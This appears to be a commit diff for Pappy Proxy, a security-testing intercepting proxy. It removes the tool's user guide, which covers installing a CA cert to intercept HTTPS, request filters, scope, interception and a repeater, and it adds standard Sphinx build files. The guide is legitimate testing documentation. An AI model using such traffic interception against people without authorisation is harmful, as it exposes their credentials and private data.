-    $ mkdir test_project
-    $ cd test_project 
-    $ pappy
-    Copying default config to directory
-    Proxy is listening on port 8000
-    itsPappyTime> exit
-    $ ls
-    data.db            project_config.json  project_config.pyc
-    $ 
-
-And that's it! The proxy will by default be running on port 8000 and
-bound to localhost (to keep the hackers out). You can modify the
-port/interface in ``config.json``. You can list all your intercepted
-requests with ``ls``, view a full request with ``vfq <reqid>`` or view a
-full response with ``vfs <reqid>``. No you can't delete them yet. I'm
-working on it.
-
-Lite Mode
----------
-
-If you don't want to dirty up a directory, you can run Pappy in "lite"
-mode. Pappy will use the default configuration settings and will create
-a temporary datafile in ``/tmp`` to use. When you quit, the file will be
-deleted. If you want to run Pappy in line mode, run Pappy with either
-``-l`` or ``--lite``.
-
-Example:
-
-::
-
-    $ pappy -l
-    Temporary datafile is /tmp/tmpw4mGv2
-    Proxy is listening on port 8000
-    itsPappyTime> quit
-    Deleting temporary datafile
-    $ 
-
-Adding The CA Cert to Your Browser
-----------------------------------
-
-In order for Pappy to view data sent using HTTPS, you need to add a
-generated CA cert (``certificate.crt``) to your browser. Certificates
-are generated using the ``gencerts`` command and are by default stored
-in the same directory as ``pappy.py``. This allows Pappy to act as a CA
-and MITM HTTPS connections. I believe that Firefox and Chrome ignore
-keychain/system certs, so you will have to install the CA cert to the
-browsers instead of (or in addition to) adding the cert to your
-keychain.
-
-Firefox
-~~~~~~~
-
-You can add the CA cert to Firefox by going to
-``Preferences -> Advanced -> View Certificates -> Authorities -> Import``
-and selecting the ``certificate.crt`` file in the ``certs`` directory.
-
-Chrome
-~~~~~~
-
-You can add the CA cert to Chrome by going to
-``Settings -> Show advanced settings -> HTTPS/SSL -> Manage Certificates -> Authorities -> Import``
-and selecting the ``certificate.crt`` file in the ``certs`` directory.
-
-Safari
-~~~~~~
-
-For Safari (on macs, obviously), you need to add the CA cert to your
-system keychain. You can do this by double clicking on the CA cert and
-following the prompts.
-
-Internet Explorer
-~~~~~~~~~~~~~~~~~
-
-I didn't search too hard for instructions on this (since Pappy doesn't
-support windows) and I don't own a Windows machine to try this, so if
-you have trouble, I'm not the one to ask. According to Google you can
-double-click the cert to install it to the system, or you can do
-``Tools -> Content -> Certificates -> Trusted Root Certificates -> Import``.
-
-Configuration
--------------
-
-Configuration for each project is done in the ``config.json`` file. The
-file is a JSON-formatted dictionary that contains settings for the
-proxy. The following fields can be used to configure the proxy:
-
-+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Key                        | Value                                                                                                                                                                                                                                                                                                                                                                                 |
-+============================+=======================================================================================================================================================================================================================================================================================================================================================================================+
-| ``data_file``              | The file where requests and images will be stored                                                                                                                                                                                                                                                                                                                                     |
-+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``debug_dir`` (optional)   | Where connection debug info should be stored. If not present, debug info is not saved to a file.                                                                                                                                                                                                                                                                                      |
-+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``cert_dir``               | Where the CA cert and the private key for the CA cert are stored                                                                                                                                                                                                                                                                                                                      |
-+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``proxy_listeners``        | A list of dicts which describe which ports the proxy will listen on. Each item is a dict with "port" and "interface" values which determine which port and interface to listen on. For example, if port=8000 and the interface is 127.0.0.1, the proxy will only accept connections from localhost on port 8000. To accept connections from anywhere, set the interface to 0.0.0.0.   |
-+----------------------------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-
-The following tokens will also be replaced with values:
-
-+------------------+------------------------------------------------+
-| Token            | Replaced with                                  |
-+==================+================================================+
-| ``{PAPPYDIR}``   | The directory where Pappy's files are stored   |
-+------------------+------------------------------------------------+
-
-Generating Pappy's CA Cert
---------------------------
-
-In order to intercept and modify requests to sites that use HTTPS, you
-have to generate and install CA certs to your browser. You can do this
-by running the ``gencerts`` command in Pappy. By default, certs are
-stored in the same directory as Pappy's script files. However, you can
-change where Pappy will look for the private key file in the config
-file. In addition, you can give the ``gencerts`` command an argument to
-have it put the generated certs in a different directory.
-
-+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Command                                | Description                                                                                                                                                    |
-+========================================+================================================================================================================================================================+
-| ``gencerts [/path/to/put/certs/in]``   | Generate a CA cert that can be added to your browser to let Pappy decrypt HTTPS traffic. Also generates the private key for that cert in the same directory.   |
-+----------------------------------------+----------------------------------------------------------------------------------------------------------------------------------------------------------------+
-
-Browsing Recorded Requests/Responses
-------------------------------------
-
-The following commands can be used to view requests and responses
-
-+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Command            | Aliases                        | Description                                                                                                                                                                                                                                                                                                                                                                                                                        |
-+====================+================================+====================================================================================================================================================================================================================================================================================================================================================================================================================================+
-| ``ls [a|<num>``]   | list, ls                       | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context.   |
-+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``viq <id> [u]``   | view\_request\_info, viq       | View additional information about a request. Includes the target port, if SSL was used, and other information. If 'u' is given as an additional argument, it will print information on the unmangled version of the request.                                                                                                                                                                                                       |
-+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``vfq <id> [u]``   | view\_full\_request, vfq       | [V]iew [F]ull Re[Q]uest, prints the full request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the request.                                                                                                                                                                                                                                                        |
-+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``vhq <id> [u]``   | view\_request\_headers, vhq    | [V]iew [H]eaders of a Re[Q]uest. Prints just the headers of a request. If 'u' is given as an additional argument, it will print the unmangled version of the request.                                                                                                                                                                                                                                                              |
-+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``vfs <id> [u]``   | view\_full\_response, vfs      | [V]iew [F]ull Re[S]ponse, prints the full response associated with a request including headers and data. If 'u' is given as an additional argument, it will print the unmangled version of the response.                                                                                                                                                                                                                           |
-+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``vhs <id> [u]``   | view\_response\_headers, vhs   | [V]iew [H]eaders of a Re[S]ponse. Prints just the headers of a response associated with a request. If 'u' is given as an additional argument, it will print the unmangled version of the response.                                                                                                                                                                                                                                 |
-+--------------------+--------------------------------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-
-The table shown will have the following columns:
-
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Label     | Description                                                                                                                                                                                                            |
-+===========+========================================================================================================================================================================================================================+
-| ID        | The request ID of that request. Used to identify the request for other commands.                                                                                                                                       |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Method    | The method(/http verb) for the request                                                                                                                                                                                 |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Host      | The host that the request was sent to                                                                                                                                                                                  |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Path      | The path of the request                                                                                                                                                                                                |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| S-Code    | The status code of the response                                                                                                                                                                                        |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Req Len   | The length of the data submitted                                                                                                                                                                                       |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Rsp Len   | The length of the data returned in the response                                                                                                                                                                        |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Time      | The time in seconds it took to complete the request                                                                                                                                                                    |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Mngl      | If the request or response were mangled with the interceptor. If the request was mangled, the column will show 'q'. If the response was mangled, the column will show 's'. If both were mangled, it will show 'q/s'.   |
-+-----------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-
-Context
--------
-
-The context is a set of filters that define which requests are
-considered "active". Only requests in the current context are displayed
-with ``ls``, and eventually contexts will be how Pappy will manage
-requests for group operations. By default, the context includes every
-single request that passes through the proxy. You can limit down the
-current context by applying filters. Filters apply rules such as "the
-response code must equal 500" or "the host must contain google.com".
-Once you apply one or more filters, only requests/responses which pass
-every active filter will be a part of the current context.
-
-+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
-| Command                 | Aliases             | Description                                                                                                                                    |
-+=========================+=====================+================================================================================================================================================+
-| ``f <filter string>``   | filter, fl, f       | Add a filter that limits which requests are included in the current context. See the Filter String section for how to create a filter string   |
-+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``fc``                  | filter\_clear, fc   | Clears the filters and resets the context to contain all requests and responses. Ignores scope                                                 |
-+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
-| ``fls``                 | filter\_list, fls   | Print the filters that make up the current context                                                                                             |
-+-------------------------+---------------------+------------------------------------------------------------------------------------------------------------------------------------------------+
-
-Filter Strings
---------------
-
-Filter strings define a condition that a request/response pair must pass
-to be part of a context. Most filter strings have the following format:
-
-::
-
-    <field> <comparer> <value>
-
-Where ``<field>`` is some part of the request/response, ``<comparer>``
-is some comparison to ``<value>``. Also **if you prefix a comparer with
-'n' it turns it into a negation.** For example, if you wanted a filter
-that only matches requests to target.org, you could use the following
-filter string:
-
-::
-
-    host is target.org
-
-    field = "host"
-    comparer = "is"
-    value = "target.org"
-
-For fields that are a list of key/value pairs (headers, get params, post
-params, and cookies) you can use the following format:
-
-::
-
-    <field> <comparer1> <value1>[ <comparer2> <value2>]
-
-This is a little more complicated. If you don't give comparer2/value2,
-the filter will pass any pair where the key or the value matches
-comparer1 and value1. If you do give comparer2/value2, the key must
-match comparer1/value1 and the value must match comparer2/value2 For
-example:
-
-::
-
-    Filter A:
-        cookie contains Session
-
-    Filter B:
-        cookie contains Session contains 456
-
-    Filter C:
-        cookie ncontains Ultra
-
-    Cookie: SuperSession=abc123
-    Matches A and C but not B
-
-    Cookie: UltraSession=abc123456
-    Matches both A and B but not C
-
-List of fields
-~~~~~~~~~~~~~~
-
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| Field Name   | Aliases                        | Description                                                                      | Format      |
-+==============+================================+==================================================================================+=============+
-| all          | all                            | The entire request represented as one string                                     | String      |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| host         | host, domain, hs, dm           | The target host (ie www.target.com)                                              | String      |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| path         | path, pt                       | The path of the url (ie /path/to/secrets.php)                                    | String      |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| body         | body, data, bd, dt             | The body (data section) of either the request or the response                    | String      |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| verb         | verb, vb                       | The HTTP verb of the request (ie GET, POST)                                      | String      |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| param        | param, pm                      | Either the get or post parameters                                                | Key/Value   |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| header       | header, hd                     | An HTTP header (ie User-Agent, Basic-Authorization) in the request or response   | Key/Value   |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| rawheaders   | rawheaders, rh                 | The entire header section (as one string) of either the head or the response     | String      |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| sentcookie   | sentcookie, sck                | A cookie sent in a request                                                       | Key/Value   |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| setcookie    | setcookie, stck                | A cookie set by a response                                                       | Key/Value   |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-| statuscode   | statuscode, sc, responsecode   | The response code of the response                                                | Numeric     |
-+--------------+--------------------------------+----------------------------------------------------------------------------------+-------------+
-
-List of comparers
-~~~~~~~~~~~~~~~~~
-
-+--------------+------------------+-----------------------------------------------------------------+
-| Field Name   | Aliases          | Description                                                     |
-+==============+==================+=================================================================+
-| is           | is               | Exact string match                                              |
-+--------------+------------------+-----------------------------------------------------------------+
-| contains     | contains, ct     | A contain B is true if B is a substring of A                    |
-+--------------+------------------+-----------------------------------------------------------------+
-| containsr    | containsr, ctr   | A containr B is true if A matches regexp B (NOT IMPLEMENTED)    |
-+--------------+------------------+-----------------------------------------------------------------+
-| exists       | exists, ex       | A exists B if A is not an empty string (likely buggy)           |
-+--------------+------------------+-----------------------------------------------------------------+
-| Leq          | Leq              | A Leq B if A's length equals B (B must be a number)             |
-+--------------+------------------+-----------------------------------------------------------------+
-| Lgt          | Lgt              | A Lgt B if A's length is greater than B (B must be a number )   |
-+--------------+------------------+-----------------------------------------------------------------+
-| Llt          | Llt              | A Llt B if A's length is less than B (B must be a number)       |
-+--------------+------------------+-----------------------------------------------------------------+
-| eq           | eq               | A eq B if A = B (A and B must be a number)                      |
-+--------------+------------------+-----------------------------------------------------------------+
-| gt           | gt               | A gt B if A > B (A and B must be a number)                      |
-+--------------+------------------+-----------------------------------------------------------------+
-| lt           | lt               | A lt B if A < B (A and B must be a number)                      |
-+--------------+------------------+-----------------------------------------------------------------+
-
-Scope
------
-
-Scope is a set of rules to define whether Pappy should mess with a
-request. You define the scope by setting the context to what you want
-the scope to be and running ``scope_save``. The scope is saved in
-data.db and is automatically restored when using the same project
-directory.
-
-Any requests which don't match all the filters in the scope will be
-passed straight to the browser and will not be caught by the interceptor
-or recorded in the database. This is useful to make sure you don't
-accidentally do something like log in to your email through the proxy
-and have your plaintext username/password stored and accidentally shown
-to your coworkers.
-
-+--------------------+--------------------+------------------------------------------------------+
-| Command            | Aliases            | Description                                          |
-+====================+====================+======================================================+
-| ``scope_save``     | scope\_save        | Set the current context to be the scope              |
-+--------------------+--------------------+------------------------------------------------------+
-| ``sr``             | scope\_reset, sr   | Set the current context to the scope                 |
-+--------------------+--------------------+------------------------------------------------------+
-| ``scope_delete``   | scope\_delete      | Clear the scope (everything's in scope!)             |
-+--------------------+--------------------+------------------------------------------------------+
-| ``scope_list``     | scope\_list, sls   | List all the filters that are applied to the scope   |
-+--------------------+--------------------+------------------------------------------------------+
-
-Interceptor
------------
-
-This feature is like Burp's proxy with "Intercept Mode" turned on,
-except it's not turned on unless you explicitly turn it on. When the
-proxy gets a request while in intercept mode, it lets you edit it before
-it forwards it to the server. In addition, it can stop responses from
-the server and let you edit them before they get forwarded to the
-browser. When you run the command, you can pass ``request`` and/or
-``response`` as arguments to say whether you would like to intercept
-requests and/or responses. Only in-scope requests/responses will be
-intercepted (see Scope section).
-
-The interceptor will use your EDITOR variable to decide which editor to
-edit the request/response with. If no editor variable is set, it will
-default to ``vi``.
-
-To forward a request, edit it, save the file, then quit.
-
-+---------------------------------------------------------+-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Command                                                 | Aliases         | Description                                                                                                                                                                                                     |
-+=========================================================+=================+=================================================================================================================================================================================================================+
-| ``ic <requests,responses,request,response,req,rsp>+``   | intercept, ic   | Begins interception mode. Press enter to leave interception mode and return to the command prompt. Pass in ``request`` to intercept requests, ``response`` to intercept responses, or both to intercept both.   |
-+---------------------------------------------------------+-----------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-
-::
-
-    Intercept both requests and responses:
-    > ic requests responses
-    > ic req rsp
-
-    Intercept just requests:
-    > ic requests
-    > ic req
-
-    Intercept just responses:
-    > ic responses
-    > ic rsp
-
-    Be totally useless:
-    > ic
-
-Repeater
---------
-
-This feature is like Burp's repeater (yes, really). You choose a request
-and Pappy will open vim in a split window with your request on the left
-and the original response on the right. You can make changes to the
-request and then run ":RepeaterSubmitBuffer" to submit the modified
-request. The response will be displayed on the right. This command is
-bound to ``<leader>f`` by default, but you can rebind it in your vimrc
-(I think, dunno if vim will complain if it's undefined). This command
-will submit whatever buffer your cursor is in, so make sure it's in the
-request buffer.
-
-To drop a request, delete everything, save and quit (``ggdG:wq``).
-
-When you're done with repeater, run ":qa!" to avoid having to save
-changes to nonexistent files.
-
-+---------------+----------------+----------------------------------------------+
-| Command       | Aliases        | Description                                  |
-+===============+================+==============================================+
-| ``rp <id>``   | repeater, rp   | Open the specified request in the repeater   |
-+---------------+----------------+----------------------------------------------+
-
-+----------------------------+--------------+----------------------------------------------------------------------------------------------------+
-| Vim Command                | Keybinding   | Action                                                                                             |
-+============================+==============+====================================================================================================+
-| ``RepeaterSubmitBuffer``   | f            | Submit the current buffer, split the windows vertically, and show the result in the right window   |
-+----------------------------+--------------+----------------------------------------------------------------------------------------------------+
-
-Logging
--------
-
-You can watch in real-time what requests are going through the proxy.
-Verbosisty defaults to 1 which just states when connections are
-made/lost and some information on what is happening. If verbosity is set
-to 3, it includes all the data which is sent through the proxy and
-processed. It will print the raw response from the server, what it
-decodes it to, etc. Even if you don't run this command, all the
-information is stored in the dubug directory (the directory is cleared
-every start though!)
-
-+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
-| Command               | Description                                                                                                                                                                                                                   |
-+=======================+===============================================================================================================================================================================================================================+
-| ``log [verbosity]``   | View the log at the given verbosity. Default verbosity is 1 which just shows connections being made/lost and some other info, verbosity 3 shows full requests/responses as they pass through and are processed by the proxy   |
-+-----------------------+-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

docs/Makefile

@@ -0,0 +1,196 @@
+# Makefile for Sphinx documentation
+#
+
+# You can set these variables from the command line.
+SPHINXOPTS    =
+SPHINXBUILD   = sphinx-build
+PAPER         =
+BUILDDIR      = build
+SOURCEDIR     = "$(shell pwd)/source"
+
+# User-friendly check for sphinx-build
+ifeq ($(shell which $(SPHINXBUILD) >/dev/null 2>&1; echo $$?), 1)
+$(error "The '$(SPHINXBUILD)' command was not found. Make sure you have Sphinx installed, then set the SPHINXBUILD environment variable to point to the full path of the '$(SPHINXBUILD)' executable. Alternatively you can add the directory with the executable to your PATH. If you don't have Sphinx installed, grab it from http://sphinx-doc.org/")
+endif
+
+# Internal variables.
+PAPEROPT_a4     = -D latex_paper_size=a4
+PAPEROPT_letter = -D latex_paper_size=letter
+ALLSPHINXOPTS   = -d $(BUILDDIR)/doctrees $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
+# the i18n builder cannot share the environment and doctrees with the others
+I18NSPHINXOPTS  = $(PAPEROPT_$(PAPER)) $(SPHINXOPTS) source
+
+.PHONY: help clean html dirhtml singlehtml pickle json htmlhelp qthelp devhelp epub latex latexpdf text man changes linkcheck doctest coverage gettext
+
+help:
+	@echo "Please use \`make <target>' where <target> is one of"
+	@echo "  html       to make standalone HTML files"
+	@echo "  dirhtml    to make HTML files named index.html in directories"
+	@echo "  singlehtml to make a single large HTML file"
+	@echo "  pickle     to make pickle files"
+	@echo "  json       to make JSON files"
+	@echo "  htmlhelp   to make HTML files and a HTML help project"
+	@echo "  qthelp     to make HTML files and a qthelp project"
+	@echo "  applehelp  to make an Apple Help Book"
+	@echo "  devhelp    to make HTML files and a Devhelp project"
+	@echo "  epub       to make an epub"
+	@echo "  latex      to make LaTeX files, you can set PAPER=a4 or PAPER=letter"
+	@echo "  latexpdf   to make LaTeX files and run them through pdflatex"
+	@echo "  latexpdfja to make LaTeX files and run them through platex/dvipdfmx"
+	@echo "  text       to make text files"
+	@echo "  man        to make manual pages"
+	@echo "  texinfo    to make Texinfo files"
+	@echo "  info       to make Texinfo files and run them through makeinfo"
+	@echo "  gettext    to make PO message catalogs"
+	@echo "  changes    to make an overview of all changed/added/deprecated items"
+	@echo "  xml        to make Docutils-native XML files"
+	@echo "  pseudoxml  to make pseudoxml-XML files for display purposes"
+	@echo "  linkcheck  to check all external links for integrity"
+	@echo "  doctest    to run all doctests embedded in the documentation (if enabled)"
+	@echo "  coverage   to run coverage check of the documentation (if enabled)"
+
+clean:
+	rm -rf $(BUILDDIR)/*
+
+html:
+	$(SPHINXBUILD) -b html $(ALLSPHINXOPTS) $(BUILDDIR)/html
+	@echo
+	@echo "Build finished. The HTML pages are in $(BUILDDIR)/html."
+
+dirhtml:
+	$(SPHINXBUILD) -b dirhtml $(ALLSPHINXOPTS) $(BUILDDIR)/dirhtml
+	@echo
+	@echo "Build finished. The HTML pages are in $(BUILDDIR)/dirhtml."
+
+singlehtml:
+	$(SPHINXBUILD) -b singlehtml $(ALLSPHINXOPTS) $(BUILDDIR)/singlehtml
+	@echo
+	@echo "Build finished. The HTML page is in $(BUILDDIR)/singlehtml."
+
+pickle:
+	$(SPHINXBUILD) -b pickle $(ALLSPHINXOPTS) $(BUILDDIR)/pickle
+	@echo
+	@echo "Build finished; now you can process the pickle files."
+
+json:
+	$(SPHINXBUILD) -b json $(ALLSPHINXOPTS) $(BUILDDIR)/json
+	@echo
+	@echo "Build finished; now you can process the JSON files."
+
+htmlhelp:
+	$(SPHINXBUILD) -b htmlhelp $(ALLSPHINXOPTS) $(BUILDDIR)/htmlhelp
+	@echo
+	@echo "Build finished; now you can run HTML Help Workshop with the" \
+	      ".hhp project file in $(BUILDDIR)/htmlhelp."
+
+qthelp:
+	$(SPHINXBUILD) -b qthelp $(ALLSPHINXOPTS) $(BUILDDIR)/qthelp
+	@echo
+	@echo "Build finished; now you can run "qcollectiongenerator" with the" \
+	      ".qhcp project file in $(BUILDDIR)/qthelp, like this:"
+	@echo "# qcollectiongenerator $(BUILDDIR)/qthelp/PappyProxy.qhcp"
+	@echo "To view the help file:"
+	@echo "# assistant -collectionFile $(BUILDDIR)/qthelp/PappyProxy.qhc"
+
+applehelp:
+	$(SPHINXBUILD) -b applehelp $(ALLSPHINXOPTS) $(BUILDDIR)/applehelp
+	@echo
+	@echo "Build finished. The help book is in $(BUILDDIR)/applehelp."
+	@echo "N.B. You won't be able to view it unless you put it in" \
+	      "~/Library/Documentation/Help or install it in your application" \
+	      "bundle."
+
+devhelp:
+	$(SPHINXBUILD) -b devhelp $(ALLSPHINXOPTS) $(BUILDDIR)/devhelp
+	@echo
+	@echo "Build finished."
+	@echo "To view the help file:"
+	@echo "# mkdir -p $$HOME/.local/share/devhelp/PappyProxy"
+	@echo "# ln -s $(BUILDDIR)/devhelp $$HOME/.local/share/devhelp/PappyProxy"
+	@echo "# devhelp"
+
+epub:
+	$(SPHINXBUILD) -b epub $(ALLSPHINXOPTS) $(BUILDDIR)/epub
+	@echo
+	@echo "Build finished. The epub file is in $(BUILDDIR)/epub."
+
+latex:
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
+	@echo
+	@echo "Build finished; the LaTeX files are in $(BUILDDIR)/latex."
+	@echo "Run \`make' in that directory to run these through (pdf)latex" \
+	      "(use \`make latexpdf' here to do that automatically)."
+
+latexpdf:
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
+	@echo "Running LaTeX files through pdflatex..."
+	$(MAKE) -C $(BUILDDIR)/latex all-pdf
+	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
+
+latexpdfja:
+	$(SPHINXBUILD) -b latex $(ALLSPHINXOPTS) $(BUILDDIR)/latex
+	@echo "Running LaTeX files through platex and dvipdfmx..."
+	$(MAKE) -C $(BUILDDIR)/latex all-pdf-ja
+	@echo "pdflatex finished; the PDF files are in $(BUILDDIR)/latex."
+
+text:
+	$(SPHINXBUILD) -b text $(ALLSPHINXOPTS) $(BUILDDIR)/text
+	@echo
+	@echo "Build finished. The text files are in $(BUILDDIR)/text."
+
+man:
+	$(SPHINXBUILD) -b man $(ALLSPHINXOPTS) $(BUILDDIR)/man
+	@echo
+	@echo "Build finished. The manual pages are in $(BUILDDIR)/man."
+
+texinfo:
+	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
+	@echo
+	@echo "Build finished. The Texinfo files are in $(BUILDDIR)/texinfo."
+	@echo "Run \`make' in that directory to run these through makeinfo" \
+	      "(use \`make info' here to do that automatically)."
+
+info:
+	$(SPHINXBUILD) -b texinfo $(ALLSPHINXOPTS) $(BUILDDIR)/texinfo
+	@echo "Running Texinfo files through makeinfo..."
+	make -C $(BUILDDIR)/texinfo info
+	@echo "makeinfo finished; the Info files are in $(BUILDDIR)/texinfo."
+
+gettext:
+	$(SPHINXBUILD) -b gettext $(I18NSPHINXOPTS) $(BUILDDIR)/locale
+	@echo
+	@echo "Build finished. The message catalogs are in $(BUILDDIR)/locale."
+
+changes:
+	$(SPHINXBUILD) -b changes $(ALLSPHINXOPTS) $(BUILDDIR)/changes
+	@echo
+	@echo "The overview file is in $(BUILDDIR)/changes."
+
+linkcheck:
+	$(SPHINXBUILD) -b linkcheck $(ALLSPHINXOPTS) $(BUILDDIR)/linkcheck
+	@echo
+	@echo "Link check complete; look for any errors in the above output " \
+	      "or in $(BUILDDIR)/linkcheck/output.txt."
+
+doctest:
+	$(SPHINXBUILD) -b doctest $(ALLSPHINXOPTS) $(BUILDDIR)/doctest
+	@echo "Testing of doctests in the sources finished, look at the " \
+	      "results in $(BUILDDIR)/doctest/output.txt."
+
+coverage:
+	$(SPHINXBUILD) -b coverage $(ALLSPHINXOPTS) $(BUILDDIR)/coverage
+	@echo "Testing of coverage in the sources finished, look at the " \
+	      "results in $(BUILDDIR)/coverage/python.txt."
+
+xml:
+	$(SPHINXBUILD) -b xml $(ALLSPHINXOPTS) $(BUILDDIR)/xml
+	@echo
+	@echo "Build finished. The XML files are in $(BUILDDIR)/xml."
+
+pseudoxml:
+	$(SPHINXBUILD) -b pseudoxml $(ALLSPHINXOPTS) $(BUILDDIR)/pseudoxml
+	@echo
+	@echo "Build finished. The pseudo-XML files are in $(BUILDDIR)/pseudoxml."
+
+rst:
+	sphinx-apidoc -f -o ./source ../pappyproxy

docs/source/conf.py

@@ -0,0 +1,319 @@
+# -*- coding: utf-8 -*-
+#
+# Pappy Proxy documentation build configuration file, created by
+# sphinx-quickstart on Sat Dec 12 11:17:09 2015.
+#
+# This file is execfile()d with the current directory set to its
+# containing dir.
+#
+# Note that not all possible configuration values are present in this
+# autogenerated file.
+#
+# All configuration values have a default; values that are commented out
+# serve to show the default.
+
+import sys
+import os
+import shlex
+
+# If extensions (or modules to document with autodoc) are in another directory,
+# add these directories to sys.path here. If the directory is relative to the
+# documentation root, use os.path.abspath to make it absolute, like shown here.
+sys.path.insert(0, os.path.join(os.path.abspath('..'), 'pappyproxy'))
+
+# -- General configuration ------------------------------------------------
+
+# If your documentation needs a minimal Sphinx version, state it here.
+#needs_sphinx = '1.0'
+
+# Add any Sphinx extension module names here, as strings. They can be
+# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom
+# ones.
+extensions = [
+    'sphinx.ext.autodoc',
+    'sphinx.ext.intersphinx',
+    'sphinx.ext.ifconfig',
+]
+
+# Add any paths that contain templates here, relative to this directory.
+templates_path = ['_templates']
+
+# The suffix(es) of source filenames.
+# You can specify multiple suffix as a list of string:
+# source_suffix = ['.rst', '.md']
+source_suffix = '.rst'
+
+# The encoding of source files.
+#source_encoding = 'utf-8-sig'
+
+# The master toctree document.
+master_doc = 'index'
+
+# General information about the project.
+project = u'Pappy Proxy'
+copyright = u'2015, Rob Glew'
+author = u'Rob Glew'
+
+# The version info for the project you're documenting, acts as replacement for
+# |version| and |release|, also used in various other places throughout the
+# built documents.
+#
+# The short X.Y version.
+version = u'0.0.1'
+# The full version, including alpha/beta/rc tags.
+release = u'0.0.1'
+
+# The language for content autogenerated by Sphinx. Refer to documentation
+# for a list of supported languages.
+#
+# This is also used if you do content translation via gettext catalogs.
+# Usually you set "language" from the command line for these cases.
+language = None
+
+# There are two options for replacing |today|: either, you set today to some
+# non-false value, then it is used:
+#today = ''
+# Else, today_fmt is used as the format for a strftime call.
+#today_fmt = '%B %d, %Y'
+
+# List of patterns, relative to source directory, that match files and
+# directories to ignore when looking for source files.
+exclude_patterns = ['pappyproxy.test**',
+                    'pappyproxy.lists.rst',
+                    'pappyproxy.templates.rst',
+                    'pappyproxy.schema.rst',
+                    'pappyproxy.vim_repeater.rst',
+                    'pappyproxy.certs**',
+                    'pappyproxy.comm**',
+                    # '**config**',
+                    # '**console**',
+                    # '**macros**',
+                    # '**mangle**',
+                    # '**repeater**',
+                    # '**session**',
+                    # '**util**',
+]
+
+# The reST default role (used for this markup: `text`) to use for all
+# documents.
+#default_role = None
+
+# If true, '()' will be appended to :func: etc. cross-reference text.
+#add_function_parentheses = True
+
